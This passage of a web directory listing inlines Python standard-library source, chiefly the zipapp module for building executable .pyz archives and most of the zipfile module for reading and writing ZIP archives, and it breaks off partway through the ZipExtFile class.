self.unpack_uint() return self.unpack_farray(n, unpack_item)	5.77 KB	2024-04-17 17:55
📁 xml	-	2025-10-13 08:00
📁 xmlrpc	-	2025-10-13 08:00
📄 zipapp.py import contextlib import os import pathlib import shutil import stat import sys import zipfile __all__ = ['ZipAppError', 'create_archive', 'get_interpreter'] # The __main__.py used if the users specifies "-m module:fn". # Note that this will always be written as UTF-8 (module and # function names can be non-ASCII in Python 3). # We add a coding cookie even though UTF-8 is the default in Python 3 # because the resulting archive may be intended to be run under Python 2. MAIN_TEMPLATE = """\ # -- coding: utf-8 -- import {module} {module}.{fn}() """ # The Windows launcher defaults to UTF-8 when parsing shebang lines if the # file has no BOM. So use UTF-8 on Windows. # On Unix, use the filesystem encoding. if sys.platform.startswith('win'): shebang_encoding = 'utf-8' else: shebang_encoding = sys.getfilesystemencoding() class ZipAppError(ValueError): pass @contextlib.contextmanager def _maybe_open(archive, mode): if isinstance(archive, (str, os.PathLike)): with open(archive, mode) as f: yield f else: yield archive def _write_file_prefix(f, interpreter): """Write a shebang line.""" if interpreter: shebang = b'#!' + interpreter.encode(shebang_encoding) + b'\n' f.write(shebang) def _copy_archive(archive, new_archive, interpreter=None): """Copy an application archive, modifying the shebang line.""" with _maybe_open(archive, 'rb') as src: # Skip the shebang line from the source. # Read 2 bytes of the source and check if they are #!. first_2 = src.read(2) if first_2 == b'#!': # Discard the initial 2 bytes and the rest of the shebang line. first_2 = b'' src.readline() with _maybe_open(new_archive, 'wb') as dst: _write_file_prefix(dst, interpreter) # If there was no shebang, "first_2" contains the first 2 bytes # of the source file, so write them before copying the rest # of the file. dst.write(first_2) shutil.copyfileobj(src, dst) if interpreter and isinstance(new_archive, str): os.chmod(new_archive, os.stat(new_archive).st_mode \| stat.S_IEXEC) def create_archive(source, target=None, interpreter=None, main=None, filter=None, compressed=False): """Create an application archive from SOURCE. The SOURCE can be the name of a directory, or a filename or a file-like object referring to an existing archive. The content of SOURCE is packed into an application archive in TARGET, which can be a filename or a file-like object. If SOURCE is a directory, TARGET can be omitted and will default to the name of SOURCE with .pyz appended. The created application archive will have a shebang line specifying that it should run with INTERPRETER (there will be no shebang line if INTERPRETER is None), and a __main__.py which runs MAIN (if MAIN is not specified, an existing __main__.py will be used). It is an error to specify MAIN for anything other than a directory source with no __main__.py, and it is an error to omit MAIN if the directory has no __main__.py. """ # Are we copying an existing archive? source_is_file = False if hasattr(source, 'read') and hasattr(source, 'readline'): source_is_file = True else: source = pathlib.Path(source) if source.is_file(): source_is_file = True if source_is_file: _copy_archive(source, target, interpreter) return # We are creating a new archive from a directory. if not source.exists(): raise ZipAppError("Source does not exist") has_main = (source / '__main__.py').is_file() if main and has_main: raise ZipAppError( "Cannot specify entry point if the source has __main__.py") if not (main or has_main): raise ZipAppError("Archive has no entry point") main_py = None if main: # Check that main has the right format. mod, sep, fn = main.partition(':') mod_ok = all(part.isidentifier() for part in mod.split('.')) fn_ok = all(part.isidentifier() for part in fn.split('.')) if not (sep == ':' and mod_ok and fn_ok): raise ZipAppError("Invalid entry point: " + main) main_py = MAIN_TEMPLATE.format(module=mod, fn=fn) if target is None: target = source.with_suffix('.pyz') elif not hasattr(target, 'write'): target = pathlib.Path(target) with _maybe_open(target, 'wb') as fd: _write_file_prefix(fd, interpreter) compression = (zipfile.ZIP_DEFLATED if compressed else zipfile.ZIP_STORED) with zipfile.ZipFile(fd, 'w', compression=compression) as z: for child in source.rglob('*'): arcname = child.relative_to(source) if filter is None or filter(arcname): z.write(child, arcname.as_posix()) if main_py: z.writestr('__main__.py', main_py.encode('utf-8')) if interpreter and not hasattr(target, 'write'): target.chmod(target.stat().st_mode \| stat.S_IEXEC) def get_interpreter(archive): with _maybe_open(archive, 'rb') as f: if f.read(2) == b'#!': return f.readline().strip().decode(shebang_encoding) def main(args=None): """Run the zipapp command line interface. The ARGS parameter lets you specify the argument list directly. Omitting ARGS (or setting it to None) works as for argparse, using sys.argv[1:] as the argument list. """ import argparse parser = argparse.ArgumentParser() parser.add_argument('--output', '-o', default=None, help="The name of the output archive. " "Required if SOURCE is an archive.") parser.add_argument('--python', '-p', default=None, help="The name of the Python interpreter to use " "(default: no shebang line).") parser.add_argument('--main', '-m', default=None, help="The main function of the application " "(default: use an existing __main__.py).") parser.add_argument('--compress', '-c', action='store_true', help="Compress files with the deflate method. " "Files are stored uncompressed by default.") parser.add_argument('--info', default=False, action='store_true', help="Display the interpreter from the archive.") parser.add_argument('source', help="Source directory (or existing archive).") args = parser.parse_args(args) # Handle `python -m zipapp archive.pyz --info`. if args.info: if not os.path.isfile(args.source): raise SystemExit("Can only get info for an archive file") interpreter = get_interpreter(args.source) print("Interpreter: {}".format(interpreter or "<none>")) sys.exit(0) if os.path.isfile(args.source): if args.output is None or (os.path.exists(args.output) and os.path.samefile(args.source, args.output)): raise SystemExit("In-place editing of archives is not supported") if args.main: raise SystemExit("Cannot change the main function when copying") create_archive(args.source, args.output, interpreter=args.python, main=args.main, compressed=args.compress) if __name__ == '__main__': main()	7.36 KB	2024-04-17 17:55
📄 zipfile.py """ Read and write ZIP files. XXX references to utf-8 need further investigation. """ import io import os import importlib.util import sys import time import stat import shutil import struct import binascii import threading try: import zlib # We may need its compression method crc32 = zlib.crc32 except ImportError: zlib = None crc32 = binascii.crc32 try: import bz2 # We may need its compression method except ImportError: bz2 = None try: import lzma # We may need its compression method except ImportError: lzma = None __all__ = ["BadZipFile", "BadZipfile", "error", "ZIP_STORED", "ZIP_DEFLATED", "ZIP_BZIP2", "ZIP_LZMA", "is_zipfile", "ZipInfo", "ZipFile", "PyZipFile", "LargeZipFile"] class BadZipFile(Exception): pass class LargeZipFile(Exception): """ Raised when writing a zipfile, the zipfile requires ZIP64 extensions and those extensions are disabled. """ error = BadZipfile = BadZipFile # Pre-3.2 compatibility names ZIP64_LIMIT = (1 << 31) - 1 ZIP_FILECOUNT_LIMIT = (1 << 16) - 1 ZIP_MAX_COMMENT = (1 << 16) - 1 # constants for Zip file compression methods ZIP_STORED = 0 ZIP_DEFLATED = 8 ZIP_BZIP2 = 12 ZIP_LZMA = 14 # Other ZIP compression methods not supported DEFAULT_VERSION = 20 ZIP64_VERSION = 45 BZIP2_VERSION = 46 LZMA_VERSION = 63 # we recognize (but not necessarily support) all features up to that version MAX_EXTRACT_VERSION = 63 # Below are some formats and associated data for reading/writing headers using # the struct module. The names and structures of headers/records are those used # in the PKWARE description of the ZIP file format: # http://www.pkware.com/documents/casestudies/APPNOTE.TXT # (URL valid as of January 2008) # The "end of central directory" structure, magic number, size, and indices # (section V.I in the format document) structEndArchive = b"<4s4H2LH" stringEndArchive = b"PK\005\006" sizeEndCentDir = struct.calcsize(structEndArchive) _ECD_SIGNATURE = 0 _ECD_DISK_NUMBER = 1 _ECD_DISK_START = 2 _ECD_ENTRIES_THIS_DISK = 3 _ECD_ENTRIES_TOTAL = 4 _ECD_SIZE = 5 _ECD_OFFSET = 6 _ECD_COMMENT_SIZE = 7 # These last two indices are not part of the structure as defined in the # spec, but they are used internally by this module as a convenience _ECD_COMMENT = 8 _ECD_LOCATION = 9 # The "central directory" structure, magic number, size, and indices # of entries in the structure (section V.F in the format document) structCentralDir = "<4s4B4HL2L5H2L" stringCentralDir = b"PK\001\002" sizeCentralDir = struct.calcsize(structCentralDir) # indexes of entries in the central directory structure _CD_SIGNATURE = 0 _CD_CREATE_VERSION = 1 _CD_CREATE_SYSTEM = 2 _CD_EXTRACT_VERSION = 3 _CD_EXTRACT_SYSTEM = 4 _CD_FLAG_BITS = 5 _CD_COMPRESS_TYPE = 6 _CD_TIME = 7 _CD_DATE = 8 _CD_CRC = 9 _CD_COMPRESSED_SIZE = 10 _CD_UNCOMPRESSED_SIZE = 11 _CD_FILENAME_LENGTH = 12 _CD_EXTRA_FIELD_LENGTH = 13 _CD_COMMENT_LENGTH = 14 _CD_DISK_NUMBER_START = 15 _CD_INTERNAL_FILE_ATTRIBUTES = 16 _CD_EXTERNAL_FILE_ATTRIBUTES = 17 _CD_LOCAL_HEADER_OFFSET = 18 # The "local file header" structure, magic number, size, and indices # (section V.A in the format document) structFileHeader = "<4s2B4HL2L2H" stringFileHeader = b"PK\003\004" sizeFileHeader = struct.calcsize(structFileHeader) _FH_SIGNATURE = 0 _FH_EXTRACT_VERSION = 1 _FH_EXTRACT_SYSTEM = 2 _FH_GENERAL_PURPOSE_FLAG_BITS = 3 _FH_COMPRESSION_METHOD = 4 _FH_LAST_MOD_TIME = 5 _FH_LAST_MOD_DATE = 6 _FH_CRC = 7 _FH_COMPRESSED_SIZE = 8 _FH_UNCOMPRESSED_SIZE = 9 _FH_FILENAME_LENGTH = 10 _FH_EXTRA_FIELD_LENGTH = 11 # The "Zip64 end of central directory locator" structure, magic number, and size structEndArchive64Locator = "<4sLQL" stringEndArchive64Locator = b"PK\x06\x07" sizeEndCentDir64Locator = struct.calcsize(structEndArchive64Locator) # The "Zip64 end of central directory" record, magic number, size, and indices # (section V.G in the format document) structEndArchive64 = "<4sQ2H2L4Q" stringEndArchive64 = b"PK\x06\x06" sizeEndCentDir64 = struct.calcsize(structEndArchive64) _CD64_SIGNATURE = 0 _CD64_DIRECTORY_RECSIZE = 1 _CD64_CREATE_VERSION = 2 _CD64_EXTRACT_VERSION = 3 _CD64_DISK_NUMBER = 4 _CD64_DISK_NUMBER_START = 5 _CD64_NUMBER_ENTRIES_THIS_DISK = 6 _CD64_NUMBER_ENTRIES_TOTAL = 7 _CD64_DIRECTORY_SIZE = 8 _CD64_OFFSET_START_CENTDIR = 9 _DD_SIGNATURE = 0x08074b50 _EXTRA_FIELD_STRUCT = struct.Struct('<HH') def _strip_extra(extra, xids): # Remove Extra Fields with specified IDs. unpack = _EXTRA_FIELD_STRUCT.unpack modified = False buffer = [] start = i = 0 while i + 4 <= len(extra): xid, xlen = unpack(extra[i : i + 4]) j = i + 4 + xlen if xid in xids: if i != start: buffer.append(extra[start : i]) start = j modified = True i = j if not modified: return extra return b''.join(buffer) def _check_zipfile(fp): try: if _EndRecData(fp): return True # file has correct magic number except OSError: pass return False def is_zipfile(filename): """Quickly see if a file is a ZIP file by checking the magic number. The filename argument may be a file or file-like object too. """ result = False try: if hasattr(filename, "read"): result = _check_zipfile(fp=filename) else: with open(filename, "rb") as fp: result = _check_zipfile(fp) except OSError: pass return result def _EndRecData64(fpin, offset, endrec): """ Read the ZIP64 end-of-archive records and use that to update endrec """ try: fpin.seek(offset - sizeEndCentDir64Locator, 2) except OSError: # If the seek fails, the file is not large enough to contain a ZIP64 # end-of-archive record, so just return the end record we were given. return endrec data = fpin.read(sizeEndCentDir64Locator) if len(data) != sizeEndCentDir64Locator: return endrec sig, diskno, reloff, disks = struct.unpack(structEndArchive64Locator, data) if sig != stringEndArchive64Locator: return endrec if diskno != 0 or disks > 1: raise BadZipFile("zipfiles that span multiple disks are not supported") # Assume no 'zip64 extensible data' fpin.seek(offset - sizeEndCentDir64Locator - sizeEndCentDir64, 2) data = fpin.read(sizeEndCentDir64) if len(data) != sizeEndCentDir64: return endrec sig, sz, create_version, read_version, disk_num, disk_dir, \ dircount, dircount2, dirsize, diroffset = \ struct.unpack(structEndArchive64, data) if sig != stringEndArchive64: return endrec # Update the original endrec using data from the ZIP64 record endrec[_ECD_SIGNATURE] = sig endrec[_ECD_DISK_NUMBER] = disk_num endrec[_ECD_DISK_START] = disk_dir endrec[_ECD_ENTRIES_THIS_DISK] = dircount endrec[_ECD_ENTRIES_TOTAL] = dircount2 endrec[_ECD_SIZE] = dirsize endrec[_ECD_OFFSET] = diroffset return endrec def _EndRecData(fpin): """Return data from the "End of Central Directory" record, or None. The data is a list of the nine items in the ZIP "End of central dir" record followed by a tenth item, the file seek offset of this record.""" # Determine file size fpin.seek(0, 2) filesize = fpin.tell() # Check to see if this is ZIP file with no archive comment (the # "end of central directory" structure should be the last item in the # file if this is the case). try: fpin.seek(-sizeEndCentDir, 2) except OSError: return None data = fpin.read() if (len(data) == sizeEndCentDir and data[0:4] == stringEndArchive and data[-2:] == b"\000\000"): # the signature is correct and there's no comment, unpack structure endrec = struct.unpack(structEndArchive, data) endrec=list(endrec) # Append a blank comment and record start offset endrec.append(b"") endrec.append(filesize - sizeEndCentDir) # Try to read the "Zip64 end of central directory" structure return _EndRecData64(fpin, -sizeEndCentDir, endrec) # Either this is not a ZIP file, or it is a ZIP file with an archive # comment. Search the end of the file for the "end of central directory" # record signature. The comment is the last item in the ZIP file and may be # up to 64K long. It is assumed that the "end of central directory" magic # number does not appear in the comment. maxCommentStart = max(filesize - (1 << 16) - sizeEndCentDir, 0) fpin.seek(maxCommentStart, 0) data = fpin.read() start = data.rfind(stringEndArchive) if start >= 0: # found the magic number; attempt to unpack and interpret recData = data[start:start+sizeEndCentDir] if len(recData) != sizeEndCentDir: # Zip file is corrupted. return None endrec = list(struct.unpack(structEndArchive, recData)) commentSize = endrec[_ECD_COMMENT_SIZE] #as claimed by the zip file comment = data[start+sizeEndCentDir:start+sizeEndCentDir+commentSize] endrec.append(comment) endrec.append(maxCommentStart + start) # Try to read the "Zip64 end of central directory" structure return _EndRecData64(fpin, maxCommentStart + start - filesize, endrec) # Unable to find a valid end of central directory structure return None class ZipInfo (object): """Class with attributes describing each file in the ZIP archive.""" __slots__ = ( 'orig_filename', 'filename', 'date_time', 'compress_type', '_compresslevel', 'comment', 'extra', 'create_system', 'create_version', 'extract_version', 'reserved', 'flag_bits', 'volume', 'internal_attr', 'external_attr', 'header_offset', 'CRC', 'compress_size', 'file_size', '_raw_time', ) def __init__(self, filename="NoName", date_time=(1980,1,1,0,0,0)): self.orig_filename = filename # Original file name in archive # Terminate the file name at the first null byte. Null bytes in file # names are used as tricks by viruses in archives. null_byte = filename.find(chr(0)) if null_byte >= 0: filename = filename[0:null_byte] # This is used to ensure paths in generated ZIP files always use # forward slashes as the directory separator, as required by the # ZIP format specification. if os.sep != "/" and os.sep in filename: filename = filename.replace(os.sep, "/") self.filename = filename # Normalized file name self.date_time = date_time # year, month, day, hour, min, sec if date_time[0] < 1980: raise ValueError('ZIP does not support timestamps before 1980') # Standard values: self.compress_type = ZIP_STORED # Type of compression for the file self._compresslevel = None # Level for the compressor self.comment = b"" # Comment for each file self.extra = b"" # ZIP extra data if sys.platform == 'win32': self.create_system = 0 # System which created ZIP archive else: # Assume everything else is unix-y self.create_system = 3 # System which created ZIP archive self.create_version = DEFAULT_VERSION # Version which created ZIP archive self.extract_version = DEFAULT_VERSION # Version needed to extract archive self.reserved = 0 # Must be zero self.flag_bits = 0 # ZIP flag bits self.volume = 0 # Volume number of file header self.internal_attr = 0 # Internal attributes self.external_attr = 0 # External file attributes # Other attributes are set by class ZipFile: # header_offset Byte offset to the file header # CRC CRC-32 of the uncompressed file # compress_size Size of the compressed file # file_size Size of the uncompressed file def __repr__(self): result = ['<%s filename=%r' % (self.__class__.__name__, self.filename)] if self.compress_type != ZIP_STORED: result.append(' compress_type=%s' % compressor_names.get(self.compress_type, self.compress_type)) hi = self.external_attr >> 16 lo = self.external_attr & 0xFFFF if hi: result.append(' filemode=%r' % stat.filemode(hi)) if lo: result.append(' external_attr=%#x' % lo) isdir = self.is_dir() if not isdir or self.file_size: result.append(' file_size=%r' % self.file_size) if ((not isdir or self.compress_size) and (self.compress_type != ZIP_STORED or self.file_size != self.compress_size)): result.append(' compress_size=%r' % self.compress_size) result.append('>') return ''.join(result) def FileHeader(self, zip64=None): """Return the per-file header as a bytes object.""" dt = self.date_time dosdate = (dt[0] - 1980) << 9 \| dt[1] << 5 \| dt[2] dostime = dt[3] << 11 \| dt[4] << 5 \| (dt[5] // 2) if self.flag_bits & 0x08: # Set these to zero because we write them after the file data CRC = compress_size = file_size = 0 else: CRC = self.CRC compress_size = self.compress_size file_size = self.file_size extra = self.extra min_version = 0 if zip64 is None: zip64 = file_size > ZIP64_LIMIT or compress_size > ZIP64_LIMIT if zip64: fmt = '<HHQQ' extra = extra + struct.pack(fmt, 1, struct.calcsize(fmt)-4, file_size, compress_size) if file_size > ZIP64_LIMIT or compress_size > ZIP64_LIMIT: if not zip64: raise LargeZipFile("Filesize would require ZIP64 extensions") # File is larger than what fits into a 4 byte integer, # fall back to the ZIP64 extension file_size = 0xffffffff compress_size = 0xffffffff min_version = ZIP64_VERSION if self.compress_type == ZIP_BZIP2: min_version = max(BZIP2_VERSION, min_version) elif self.compress_type == ZIP_LZMA: min_version = max(LZMA_VERSION, min_version) self.extract_version = max(min_version, self.extract_version) self.create_version = max(min_version, self.create_version) filename, flag_bits = self._encodeFilenameFlags() header = struct.pack(structFileHeader, stringFileHeader, self.extract_version, self.reserved, flag_bits, self.compress_type, dostime, dosdate, CRC, compress_size, file_size, len(filename), len(extra)) return header + filename + extra def _encodeFilenameFlags(self): try: return self.filename.encode('ascii'), self.flag_bits except UnicodeEncodeError: return self.filename.encode('utf-8'), self.flag_bits \| 0x800 def _decodeExtra(self): # Try to decode the extra field. extra = self.extra unpack = struct.unpack while len(extra) >= 4: tp, ln = unpack('<HH', extra[:4]) if ln+4 > len(extra): raise BadZipFile("Corrupt extra field %04x (size=%d)" % (tp, ln)) if tp == 0x0001: if ln >= 24: counts = unpack('<QQQ', extra[4:28]) elif ln == 16: counts = unpack('<QQ', extra[4:20]) elif ln == 8: counts = unpack('<Q', extra[4:12]) elif ln == 0: counts = () else: raise BadZipFile("Corrupt extra field %04x (size=%d)" % (tp, ln)) idx = 0 # ZIP64 extension (large files and/or large archives) if self.file_size in (0xffffffffffffffff, 0xffffffff): if len(counts) <= idx: raise BadZipFile( "Corrupt zip64 extra field. File size not found." ) self.file_size = counts[idx] idx += 1 if self.compress_size == 0xFFFFFFFF: if len(counts) <= idx: raise BadZipFile( "Corrupt zip64 extra field. Compress size not found." ) self.compress_size = counts[idx] idx += 1 if self.header_offset == 0xffffffff: if len(counts) <= idx: raise BadZipFile( "Corrupt zip64 extra field. Header offset not found." ) old = self.header_offset self.header_offset = counts[idx] idx+=1 extra = extra[ln+4:] @classmethod def from_file(cls, filename, arcname=None): """Construct an appropriate ZipInfo for a file on the filesystem. filename should be the path to a file or directory on the filesystem. arcname is the name which it will have within the archive (by default, this will be the same as filename, but without a drive letter and with leading path separators removed). """ if isinstance(filename, os.PathLike): filename = os.fspath(filename) st = os.stat(filename) isdir = stat.S_ISDIR(st.st_mode) mtime = time.localtime(st.st_mtime) date_time = mtime[0:6] # Create ZipInfo instance to store file information if arcname is None: arcname = filename arcname = os.path.normpath(os.path.splitdrive(arcname)[1]) while arcname[0] in (os.sep, os.altsep): arcname = arcname[1:] if isdir: arcname += '/' zinfo = cls(arcname, date_time) zinfo.external_attr = (st.st_mode & 0xFFFF) << 16 # Unix attributes if isdir: zinfo.file_size = 0 zinfo.external_attr \|= 0x10 # MS-DOS directory flag else: zinfo.file_size = st.st_size return zinfo def is_dir(self): """Return True if this archive member is a directory.""" return self.filename[-1] == '/' # ZIP encryption uses the CRC32 one-byte primitive for scrambling some # internal keys. We noticed that a direct implementation is faster than # relying on binascii.crc32(). _crctable = None def _gen_crc(crc): for j in range(8): if crc & 1: crc = (crc >> 1) ^ 0xEDB88320 else: crc >>= 1 return crc # ZIP supports a password-based form of encryption. Even though known # plaintext attacks have been found against it, it is still useful # to be able to get data out of such a file. # # Usage: # zd = _ZipDecrypter(mypwd) # plain_bytes = zd(cypher_bytes) def _ZipDecrypter(pwd): key0 = 305419896 key1 = 591751049 key2 = 878082192 global _crctable if _crctable is None: _crctable = list(map(_gen_crc, range(256))) crctable = _crctable def crc32(ch, crc): """Compute the CRC32 primitive on one byte.""" return (crc >> 8) ^ crctable[(crc ^ ch) & 0xFF] def update_keys(c): nonlocal key0, key1, key2 key0 = crc32(c, key0) key1 = (key1 + (key0 & 0xFF)) & 0xFFFFFFFF key1 = (key1 * 134775813 + 1) & 0xFFFFFFFF key2 = crc32(key1 >> 24, key2) for p in pwd: update_keys(p) def decrypter(data): """Decrypt a bytes object.""" result = bytearray() append = result.append for c in data: k = key2 \| 2 c ^= ((k * (k^1)) >> 8) & 0xFF update_keys(c) append(c) return bytes(result) return decrypter class LZMACompressor: def __init__(self): self._comp = None def _init(self): props = lzma._encode_filter_properties({'id': lzma.FILTER_LZMA1}) self._comp = lzma.LZMACompressor(lzma.FORMAT_RAW, filters=[ lzma._decode_filter_properties(lzma.FILTER_LZMA1, props) ]) return struct.pack('<BBH', 9, 4, len(props)) + props def compress(self, data): if self._comp is None: return self._init() + self._comp.compress(data) return self._comp.compress(data) def flush(self): if self._comp is None: return self._init() + self._comp.flush() return self._comp.flush() class LZMADecompressor: def __init__(self): self._decomp = None self._unconsumed = b'' self.eof = False def decompress(self, data): if self._decomp is None: self._unconsumed += data if len(self._unconsumed) <= 4: return b'' psize, = struct.unpack('<H', self._unconsumed[2:4]) if len(self._unconsumed) <= 4 + psize: return b'' self._decomp = lzma.LZMADecompressor(lzma.FORMAT_RAW, filters=[ lzma._decode_filter_properties(lzma.FILTER_LZMA1, self._unconsumed[4:4 + psize]) ]) data = self._unconsumed[4 + psize:] del self._unconsumed result = self._decomp.decompress(data) self.eof = self._decomp.eof return result compressor_names = { 0: 'store', 1: 'shrink', 2: 'reduce', 3: 'reduce', 4: 'reduce', 5: 'reduce', 6: 'implode', 7: 'tokenize', 8: 'deflate', 9: 'deflate64', 10: 'implode', 12: 'bzip2', 14: 'lzma', 18: 'terse', 19: 'lz77', 97: 'wavpack', 98: 'ppmd', } def _check_compression(compression): if compression == ZIP_STORED: pass elif compression == ZIP_DEFLATED: if not zlib: raise RuntimeError( "Compression requires the (missing) zlib module") elif compression == ZIP_BZIP2: if not bz2: raise RuntimeError( "Compression requires the (missing) bz2 module") elif compression == ZIP_LZMA: if not lzma: raise RuntimeError( "Compression requires the (missing) lzma module") else: raise NotImplementedError("That compression method is not supported") def _get_compressor(compress_type, compresslevel=None): if compress_type == ZIP_DEFLATED: if compresslevel is not None: return zlib.compressobj(compresslevel, zlib.DEFLATED, -15) return zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15) elif compress_type == ZIP_BZIP2: if compresslevel is not None: return bz2.BZ2Compressor(compresslevel) return bz2.BZ2Compressor() # compresslevel is ignored for ZIP_LZMA elif compress_type == ZIP_LZMA: return LZMACompressor() else: return None def _get_decompressor(compress_type): if compress_type == ZIP_STORED: return None elif compress_type == ZIP_DEFLATED: return zlib.decompressobj(-15) elif compress_type == ZIP_BZIP2: return bz2.BZ2Decompressor() elif compress_type == ZIP_LZMA: return LZMADecompressor() else: descr = compressor_names.get(compress_type) if descr: raise NotImplementedError("compression type %d (%s)" % (compress_type, descr)) else: raise NotImplementedError("compression type %d" % (compress_type,)) class _SharedFile: def __init__(self, file, pos, close, lock, writing): self._file = file self._pos = pos self._close = close self._lock = lock self._writing = writing self.seekable = file.seekable self.tell = file.tell def seek(self, offset, whence=0): with self._lock: if self._writing(): raise ValueError("Can't reposition in the ZIP file while " "there is an open writing handle on it. " "Close the writing handle before trying to read.") self._file.seek(offset, whence) self._pos = self._file.tell() return self._pos def read(self, n=-1): with self._lock: if self._writing(): raise ValueError("Can't read from the ZIP file while there " "is an open writing handle on it. " "Close the writing handle before trying to read.") self._file.seek(self._pos) data = self._file.read(n) self._pos = self._file.tell() return data def close(self): if self._file is not None: fileobj = self._file self._file = None self._close(fileobj) # Provide the tell method for unseekable stream class _Tellable: def __init__(self, fp): self.fp = fp self.offset = 0 def write(self, data): n = self.fp.write(data) self.offset += n return n def tell(self): return self.offset def flush(self): self.fp.flush() def close(self): self.fp.close() class ZipExtFile(io.BufferedIOBase): """File-like object for reading an archive member. Is returned by ZipFile.open(). """ # Max size supported by decompressor. MAX_N = 1 << 31 - 1 # Read from compressed files in 4k blocks. MIN_READ_SIZE = 4096 # Chunk size to read during seek MAX_SEEK_READ = 1 << 24 def __init__(self, fileobj, mode, zipinfo, pwd=None, close_fileobj=False): self._fileobj = fileobj self._pwd = pwd self._close_fileobj = close_fileobj self._compress_type = zipinfo.compress_type self._compress_left = zipinfo.compress_size self._left = zipinfo.file_size self._decompressor = _get_decompressor(self._compress_type) self._eof = False self._readbuffer = b'' self._offset = 0 self.newlines = None self.mode = mode self.name = zipinfo.filename if hasattr(zipinfo, 'CRC'): self._expected_crc = zipinfo.CRC self._running_crc = crc32(b'') else: self._expected_crc = None self._seekable = False try: if fileobj.seekable(): self._orig_compress_start = fileobj.tell() self._orig_compress_size = zipinfo.compress_size self._orig_file_size = zipinfo.file_size self._orig_start_crc = self._running_crc self._seekable = True except AttributeError: pass self._decrypter = None if pwd: if zipinfo.flag_bits & 0x8: # compare against the file type from extended local headers check_byte = (zipinfo._raw_time >> 8) & 0xff else: # compare against the CRC otherwise check_byte = (zipinfo.CRC >> 24) & 0xff h = self._init_decrypter() if h != check_byte: raise RuntimeError("Bad password for file %r" % zipinfo.orig_filename) def _init_decrypter(self): self._decrypter = _ZipDecrypter(self._pwd) # The first 12 bytes in the cypher stream is an encryption header # used to strengthen the algorithm. The first 11 bytes are # completely random, while the 12th contains the MSB of the CRC, # or the MSB of the file time depending on the header type # and is used to check the correctness of the password. header = self._fileobj.read(12) self._compress_left -= 12 return self._decrypter(header)[11] def __repr__(self): result = ['<%s.%s' % (self.__class__.__module__, self.__class__.__qualname__)] if not self.closed: result.append(' name=%r mode=%r' % (self.name, self.mode)) if self._compress_type != ZIP_STORED: result.append(' compress_type=%s' % compressor_names.get(self._compress_type, self._compress_type)) else: result.append(' [closed]') result.append('>') return ''.join(result) def readline(self, limit=-1): """Read and return a line from the stream. If limit is specified, at most limit bytes will be read. """ if limit < 0: # Shortcut common case - newline found in buffer. i = self._readbuffer.find(b'\n', self._offset) + 1 if i > 0: line = self._readbuffer[self._offset: i] self._offset = i return line return io.BufferedIOBase.readline(self, limit) def peek(self, n=1): """Returns buffered bytes without advancing the position.""" if n > len(self._readbuffer) - self._offset: chunk = self.read(n) if len(chunk) > self._offset: self._readbuffer = chunk + self._readbuffer[self._offset:] self._offset = 0 else: self._offset -= len(chunk) # Return up to 512 bytes to reduce allocation overhead for tight loops. return self._readbuffer[self._offset: self._offset + 512] def readable(self): return True def read(self, n=-1): """Read and return up to n bytes. If the argument is omitted, None, or negative, data is read and returned until EOF is reached. """ if n is None or n < 0: buf = self._readbuffer[self._offset:] self._readbuffer = b'' self._offset = 0 while not self._eof: buf += self._read1(self.MAX_N) return buf end = n + self._offset if end < len(self._readbuffer): buf = self._readbuffer[self._offset:end] self._offset = end return buf n = end - len(self._readbuffer) buf = self._readbuffer[self._offset:] self._readbuffer = b'' self._offset = 0 while n > 0 and not self._eof: data = self._read1(n) if n < len(data): self._readbuffer = data self._offset = n buf += data[:n] break buf += data n -= len(data) return buf def _update_crc(self, newdata): # Update the CRC using the given data. if self._expected_crc is None: # No need to compute the CRC if we don't have a reference value return self._running_crc = crc32(newdata, self._running_crc) # Check the CRC if we're at the end of the file if self._eof and self._running_crc != self._expected_crc: raise BadZipFile("Bad CRC-32 for file %r" % self.name) def read1(self, n): """Read up to n bytes with at most one read() system call.""" if n is None or n < 0: buf = self._readbuffer[self._offset:] self._readbuffer = b'' self._offset = 0 while not self._eof: data = self._read1(self.MAX_N) if data: buf += data break return buf end = n + self._offset if end < len(self._readbuffer): buf = self._readbuffer[self._offset:end] self._offset = end return buf n = end - len(self._readbuffer) buf = self._readbuffer[self._offset:] self._readbuffer = b'' self._offset = 0 if n > 0: while not self._eof: data = self._read1(n) if n < len(data): self._readbuffer = data self._offset = n buf += data[:n] break if data: buf += data break return buf def _read1(self, n): # Read up to n compressed bytes with at most one read() system call, # decrypt and decompress them. if self._eof or n <= 0: return b'' # Read from file. if self._compress_type == ZIP_DEFLATED: ## Handle unconsumed data. data = self._decompressor.unconsumed_tail if n > len(data): data += self._read2(n - len(data)) else: data = self._read2(n) if self._compress_type == ZIP_STORED: self._eof = self._compress_left <= 0 elif self._compress_type == ZIP_DEFLATED: n = max(n, self.MIN_READ_SIZE) data = self._decompressor.decompress(data, n) self._eof = (self._decompressor.eof or self._compress_left <= 0 and not self._decompressor.unconsumed_tail) if self._eof: data += self._decompressor.flush() else: data = self._decompressor.decompress(data) self._eof = self._decompressor.eof or self._compress_left <= 0 data = data[:self._left] self._left -= len(data) if self._left <= 0: self._eof = True self._update_crc(data) return data def _read2(self, n): if self._compress_left <= 0: return b'' n = max(n, self.MIN_READ_SIZE) n = min(n, self._compress_left) data = self._fileobj.read(n) self._compress_left -= len(data) if not data: raise EOFError if self._decrypter is not None: data = self._decrypter(data) return data def close(self): try: if self._close_fileobj: self._fileobj.close() finally: super().close() def seekable(self): return self._seekable def seek(self, offset, whence=0): if not self._seekable: raise io.UnsupportedOperation("underlying stream is not seekable") curr_pos = self.tell() if whence == 0: # Seek from start of file new_pos = offset elif whence == 1: # Seek from current position new_pos = curr_pos + offset elif whence == 2: # Seek from EOF new_pos = self._orig_file_size + offset else: raise ValueError("whence must be os.SEEK_SET (0), " "os.SEEK_CUR (1), or os.SEEK_END (2)") if new_pos > self._orig_file_size: new_pos = self._orig_file_size if new_pos < 0: new_pos = 0 read_offset = new_pos - curr_pos buff_offset = read_offset + self._offset if buff_offset >= 0 and buff_offset < len(self._readbuffer): # Just move the _offset index if the new position is in the _readbuffer self._offset = buff_offset read_offset = 0 elif read_offset < 0: # Position is before the current position. Reset the ZipExtFile self._fileobj.seek(self._orig_compress_start) self._running_crc = self._orig_start_crc self._compress_left = self._orig_compress_size self._left = self._orig_file_size self._readbuffer = b'' self._offset = 0 self._decompressor = _get_decompressor(self._compress_type) self._eof = False read_offset = new_pos if self._decrypter is not None: self._init_decrypter() while read_offset > 0: read_len = min(self.MAX_SEEK_READ, read_offset) self.read(read_len) read_offset -= read_len return self.tell() def tell(self): if not 